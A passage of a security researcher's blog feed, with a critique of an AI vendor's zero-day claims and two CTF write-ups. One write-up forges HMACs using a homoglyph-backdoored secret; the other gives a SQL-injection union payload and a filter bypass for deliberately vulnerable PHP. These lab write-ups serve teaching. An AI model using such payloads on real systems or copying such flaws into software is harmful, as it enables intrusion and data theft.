<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Michael Rodler (@f0rki)</title><link href="//f0rki.at/" rel="alternate"></link><link href="//f0rki.at/feeds/all.atom.xml" rel="self"></link><id>//f0rki.at/</id><updated>2026-02-11T00:00:00+01:00</updated><subtitle>Endeavors in Software/Systems Security</subtitle><entry><title>A Critical Looks at Anthropic’s 500 Zero-Day Claims</title><link href="//f0rki.at/a-critical-looks-at-anthropics-500-zero-day-claims.html" rel="alternate"></link><published>2026-02-11T00:00:00+01:00</published><updated>2026-02-11T00:00:00+01:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2026-02-11:/a-critical-looks-at-anthropics-500-zero-day-claims.html</id><summary type="html">&lt;p&gt;Anthropic recently published a
&lt;a class="reference external" href="https://red.anthropic.com/2026/zero-days/"&gt;blogpost&lt;/a&gt; detailing how
their latest model, Claude Opus 4.6, discovered over 500
zero-day vulnerabilities in open-source software. The news was quickly
picked up by outlets like
&lt;a class="reference external" href="https://www.golem.de/news/claude-opus-4-6-ki-findet-ueber-500-zero-day-luecken-in-open-source-software-2602-205139.html"&gt;Golem&lt;/a&gt;,
but I can’t help but feel a sense of déjà vu. This reminds me of
headlines from …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Anthropic recently published a
&lt;a class="reference external" href="https://red.anthropic.com/2026/zero-days/"&gt;blogpost&lt;/a&gt; detailing how
their latest model, Claude Opus 4.6, discovered over 500
zero-day vulnerabilities in open-source software. The news was quickly
picked up by outlets like
&lt;a class="reference external" href="https://www.golem.de/news/claude-opus-4-6-ki-findet-ueber-500-zero-day-luecken-in-open-source-software-2602-205139.html"&gt;Golem&lt;/a&gt;,
but I can’t help but feel a sense of déjà vu. This reminds me of
headlines from 15 years ago, like &lt;a class="reference external" href="https://lwn.net/Articles/557055/"&gt;“Mayhem finds 1,200
bugs”&lt;/a&gt;, which also sparked
excitement—only for the hype to quickly settle. As we all know today,
Mayhem and other symbolic execution tools haven't solved the
Automated Exploit Generation (AEG) problem.&lt;/p&gt;
&lt;p&gt;The idea that LLMs can identify vulnerabilities isn’t new. The &lt;a class="reference external" href="https://aixcc.io/"&gt;AIxCC
competition&lt;/a&gt; already demonstrated this capability years ago,
and it’s reasonable to assume that security tutorials and bug writeups
are well-represented in training data. Anthropic’s claim that they
tested Opus’s ability to find bugs &lt;em&gt;without&lt;/em&gt; specialized prompting is
interesting, but not groundbreaking. In fact, reducing reliance on
targeted prompts might make the whole system less deterministic: something you'd want to
avoid in practice. If I’m paying $10k for a LLM Tokens during my LLM-based security audit, I’d prefer
consistent, reproducible results over a model that might surface
different bugs with each run.&lt;/p&gt;
&lt;div class="section" id="key-questions-left-unanswered"&gt;
&lt;h2&gt;Key Questions Left Unanswered&lt;/h2&gt;
&lt;p&gt;There are multiple questions that Anthropic does not answer in their blog post.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;False Positives and Hallucinations&lt;/strong&gt;
Anthropic says they have found 500 zero-day vulnerabilities, which were all validated by internal
or externals teams with a security background. That &lt;em&gt;is&lt;/em&gt; impressive.
However, how many bugs did Claude report on top of those 500 that they were &lt;em&gt;not&lt;/em&gt; able to validate
as actual vulnerabilities/bugs? What is the total number of bugs that Claude reported.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity and Exploitability&lt;/strong&gt;
Anthropic claims that these are all “high-severity” bugs. What does that mean?
Not all memory corruption bugs are equally dangerous. For example, the Linux kernel assigns CVEs to
every memory corruption issue, but exploitability depends on
context, i.e., whether the bug can be triggered in a realistic attack
scenario. A memory corruption bug in module loading isn’t a
vulnerability if the attacker already needs root privileges to
exploit it (assuming root is allowed to load kernel modules like in most unhardened Linux systems).
Automated tools (and LLMs) often struggle to assess
real-world impact because they lack a proper threat model and contextual
understanding. Competitions like the AIxCC tried to mitigate this Problem by having
clear definitions of what is considered a true alarm or by forcing the automated tools to create
exploits to proof that the found bug is truely a vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Representative Projects?&lt;/strong&gt;
Were the analyzed projects truly representative? For example, the cgif Project has 180 stars on GitHub at the time of writing and als has not released a version 1.0 yet.
This suggest this might not be a widely used, and as such not heavily scrutinized Project.
What Projects did they analyze? And of those projects what is the security posture?
Did they use   standard security tools like SAST or fuzzing? If not, finding 500 bugs
isn’t that impressive. It is somewhat expected. Early fuzzing research faced similar
criticism: “We found 20 CVEs!” sounds great until you realize the code
had never been fuzzed before. Benchmarks aren’t perfect and have a lot of problems on their own, but they at
least allow for fair comparison with the current state-of-the-art.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Efficiency and Scalability&lt;/strong&gt;
How cost-effective is this approach? Anthropic can afford to burn Opus tokens for research, but real-world
scalability matters. What’s the cost per &lt;em&gt;valid&lt;/em&gt; bug found? Most organizations do not have the
funds to use Opus at scale. Given that GenAI is still heavily subsidized, I expect cost for these
high end models to rise in the future.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So we are left with knowing that Claude Opus can perform security research on its own, but not
whether it is something that stays a research PoC at Anthropic, or whether this is something we can
actually run ourselves.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="a-call-for-responsible-reporting"&gt;
&lt;h2&gt;A Call for Responsible Reporting&lt;/h2&gt;
&lt;p&gt;Despite these questions, it’s fascinating to see how Opus identified
these bugs (e.g., performing variant analysis based on a previous git commit is very impressive).
I hope Anthropic follows up with a detailed paper. This
deserves more than a blogpost. Right now, the hype cycle is in full
swing, and even minor announcements from Anthropic make waves. I became aware because this blogpost,
because it was shared and discussed at my current workplace by people outside of the security field.
If Anthropic wants to lead responsibly, they should prioritize rigorous, peer-reviewed
research over flashy marketing or publishing half-finished research as blog posts.
I know they have the capability to do so.&lt;/p&gt;
&lt;p&gt;PS: This blogpost was written with the help of a LLM, but not one from Anthropic :)&lt;/p&gt;
&lt;/div&gt;
</content><category term="genai"></category><category term="security"></category><category term="ai"></category></entry><entry><title>Blogposts on AI Security (German)</title><link href="//f0rki.at/blogposts-on-ai-security-german.html" rel="alternate"></link><published>2025-11-28T00:00:00+01:00</published><updated>2025-11-28T00:00:00+01:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2025-11-28:/blogposts-on-ai-security-german.html</id><summary type="html">&lt;p&gt;At my current job, I am consulting customers regarding various security topics. Naturally, GenAI
comes up a lot these days, so I did a deep dive into AppSec for GenAI applications. As a result I
also wrote to blog posts (in german though) on the topic. Enjoy.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.cologne-intelligence.de/blog/ki-in-offensive-security"&gt;KI in Offensive …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;At my current job, I am consulting customers regarding various security topics. Naturally, GenAI
comes up a lot these days, so I did a deep dive into AppSec for GenAI applications. As a result I
also wrote to blog posts (in german though) on the topic. Enjoy.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.cologne-intelligence.de/blog/ki-in-offensive-security"&gt;KI in Offensive Security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.cologne-intelligence.de/blog/ki-threat-modeling"&gt;KI Threat Modeling&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We also recorded a Podcast recently, which also covered a bunch of these topics:
&lt;a class="reference external" href="https://www.cologne-intelligence.de/media/audio/17-it-security-mit-christian-und-michael"&gt;Continuous Inspiration #17 IT Security - mit Christian und Michael&lt;/a&gt;&lt;/p&gt;
</content><category term="other"></category><category term="security"></category><category term="ai"></category></entry><entry><title>The LosFuzzys CTF Team</title><link href="//f0rki.at/the-losfuzzys-ctf-team.html" rel="alternate"></link><published>2016-04-26T00:00:00+02:00</published><updated>2016-04-26T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2016-04-26:/the-losfuzzys-ctf-team.html</id><summary type="html">&lt;p&gt;In 2014 some infosec interested students at TU Graz started playing CTFs under
the name LosFuzzys. In the last year, thanks to &lt;a class="reference external" href="https://twitter.com/stefan2904"&gt;stefan&lt;/a&gt; and a couple of
other very motivated guys, we managed to get more people interested and the
whole thing going. Checkout our site for write-ups and more …&lt;/p&gt;</summary><content type="html">&lt;p&gt;In 2014 some infosec interested students at TU Graz started playing CTFs under
the name LosFuzzys. In the last year, thanks to &lt;a class="reference external" href="https://twitter.com/stefan2904"&gt;stefan&lt;/a&gt; and a couple of
other very motivated guys, we managed to get more people interested and the
whole thing going. Checkout our site for write-ups and more info on the team:
&lt;a class="reference external" href="https://hack.more.systems"&gt;hack.more.systems&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you are from the Graz area, feel free to drop by our IRC channel or one of
the very irregular meetups.&lt;/p&gt;
&lt;p&gt;There is gonna be a introductory talk to CTFs and useful tools at the &lt;a class="reference external" href="https://glt16-programm.linuxtage.at/events/129.html"&gt;Grazer
Linuxtage 2016&lt;/a&gt;.&lt;/p&gt;
</content><category term="ctf"></category><category term="ctf"></category><category term="losfuzzys"></category><category term="graz"></category></entry><entry><title>hack.lu CTF 2014 write-up: Hidden In Plain Sight</title><link href="//f0rki.at/hacklu-ctf-2014-write-up-hidden-in-plain-sight.html" rel="alternate"></link><published>2014-10-26T00:00:00+02:00</published><updated>2014-10-26T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2014-10-26:/hacklu-ctf-2014-write-up-hidden-in-plain-sight.html</id><summary type="html">&lt;p&gt;OK I have to confess I solved this challenge by pure luck. The setting was that
there is a service that allows you to register and the upload files. The
uploaded files can be shared by creating a link, which contains a HMAC over the
user and the filename. If …&lt;/p&gt;</summary><content type="html">&lt;p&gt;OK I have to confess I solved this challenge by pure luck. The setting was that
there is a service that allows you to register and the upload files. The
uploaded files can be shared by creating a link, which contains a HMAC over the
user and the filename. If we know the hmac over the user and the file, we can
access the file. We are asked to access the 'testuser/flag.txt' file.  So the
whole code makes a pretty decent impression in terms of security. There are no
obvious vulnerabilities.&lt;/p&gt;
&lt;p&gt;We were asked to find a backdoor and the challenge was tagged as a crypto
challenge and HMAC key generation looked a little fishy so I copy &amp;amp; pasted it
into a local file to see what the HMAC secret would look like. And what a
surprise the HMAC_SECRET variable was set to empty string. WTF. So first I went
on to get the flag. Later on I noticed that the 'E' in the HMAC_SECRET on the
left-hand side of the assignment in the loop was in fact a unicode character
that looks like an 'E'.&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;
&lt;span class="c1"&gt;// copy &amp;amp; pasted hmac secret generation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HMAC_SECRET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;HMAC_SΕCRET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HMAC_SECRET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;//&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="cm"&gt;/* relevant xxd output. Mind the unicode char that looks like 'E'!
0000030: 3d 20 27 27 0a 66 6f 72 20 28 76 61 72 20 69 3d  = ''.for (var i=
0000040: 30 3b 20 69 3c 32 30 3b 20 69 2b 2b 29 20 7b 0a  0; i&amp;lt;20; i++) {.
0000050: 20 20 48 4d 41 43 5f 53 ce 95 43 52 45 54 20 3d    HMAC_S..CRET =
0000060: 20 48 4d 41 43 5f 53 45 43 52 45 54 20 2b 20 28   HMAC_SECRET + (
0000070: 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 27 27  Math.random()+''
0000080: 29 2e 73 75 62 73 74 72 28 32 29 0a 7d 0a 0a 0a  ).substr(2).}...
*/&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;the hmac is:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;HMAC_SECRET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;------&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;// holy shit it's empty string :o&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c1"&gt;// copy&amp;amp;pasted signing function&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'crypto'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hmac_sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hmac&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createHmac&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'sha256'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HMAC_SECRET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nx"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'hex'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;generated hmac:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hmac_sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;testuser/flag.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;After running this with node we get the HMAC and obtaining the flag is simply a
matter of:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
curl https://wildwildweb.fluxfingers.net:1409/files/testuser/flag.txt/4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4
&lt;/pre&gt;
</content><category term="ctf"></category><category term="ctf"></category><category term="hacklu"></category><category term="javascript"></category><category term="node.js"></category></entry><entry><title>hack.lu CTF 2014 write-up: Killy The Bit</title><link href="//f0rki.at/hacklu-ctf-2014-write-up-killy-the-bit.html" rel="alternate"></link><published>2014-10-26T00:00:00+02:00</published><updated>2014-10-26T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2014-10-26:/hacklu-ctf-2014-write-up-killy-the-bit.html</id><summary type="html">&lt;p&gt;This was a fun challenge :) The setting was that the royal bank of Fluxembourg
was hacked by Killy the Bit and now they set up a page to reset the user
passwords. Because Killy owes us a favor we received the source code for the
password resetting page. So the …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This was a fun challenge :) The setting was that the royal bank of Fluxembourg
was hacked by Killy the Bit and now they set up a page to reset the user
passwords. Because Killy owes us a favor we received the source code for the
password resetting page. So the whole thing was php using mysql as a database.
Inspecting the source you can easily spot the SQL injection vulnerability.
But finding it wasn't the challenge, actually exploiting it was.&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s1"&gt;'config.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// unintersting HTML output truncated
&lt;/span&gt;
&lt;span class="c1"&gt;//&amp;lt;!-- blind? we will kill you :) --&amp;gt;
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;
        &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/sleep|benchmark|and|or|\||&amp;amp;/i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;mysql_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SELECT name,email FROM user where name='&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;'&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;mysql_fetch_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$res&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// Generation of new password
&lt;/span&gt;            &lt;span class="c1"&gt;//&amp;lt;topsecure content&amp;gt;
&lt;/span&gt;            &lt;span class="c1"&gt;// this was filtered during the creation of the phps file
&lt;/span&gt;            &lt;span class="c1"&gt;//&amp;lt;/topsecure content&amp;gt;
&lt;/span&gt;            &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A new password was generated and sent to your email address!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

            &lt;span class="nv"&gt;$res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;mysql_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SELECT name,email FROM user where name sounds like '&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;'&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;mysql_fetch_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$res&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;We couldn't find your username, but it sounds like this user:&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;We couldn't find your username!&amp;lt;br&amp;gt;Are you sure it is &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="nx"&gt;ENT_QUOTES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'utf-8'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="nv"&gt;$res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;mysql_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SELECT name,email FROM user where name sounds like '&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;'&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

            &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;mysql_fetch_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$res&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;br&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// uninteresting HTML output truncated
&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;As you can see on line 9 we cannot use and, or, sleep and benchmark in the
query which makes exploiting this a little tricky. In total the whole script
performs three queries. We do not see any output of the first two queries. Of
course we could do a blind SQL injection here, but this is made harder by the
preg_match filter. As it turns out we can craft an input so that the first
query returns 0 rows, the second one returns 1 row and the last query returns
all the possible rows. The key to this is the 'sounds like' part of the
last two queries. 'a sounds like b' is a shortcut for 'soundex(a)=soundex(b)'.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
&amp;gt; select soundex('admin'), soundex('admni');
+------------------+------------------+
| soundex('admin') | soundex('admni') |
+------------------+------------------+
| A350             | A350             |
+------------------+------------------+
&lt;/pre&gt;
&lt;p&gt;Now we can get to the last the query by using 'admni' as the value for the
name column in the where part of the query. Now we need to use union select
to actually fetch data. Unfortunately just simply injecting the following&lt;/p&gt;
&lt;pre class="code literal-block"&gt;
admni' union select passwd, email from user -- x
&lt;/pre&gt;
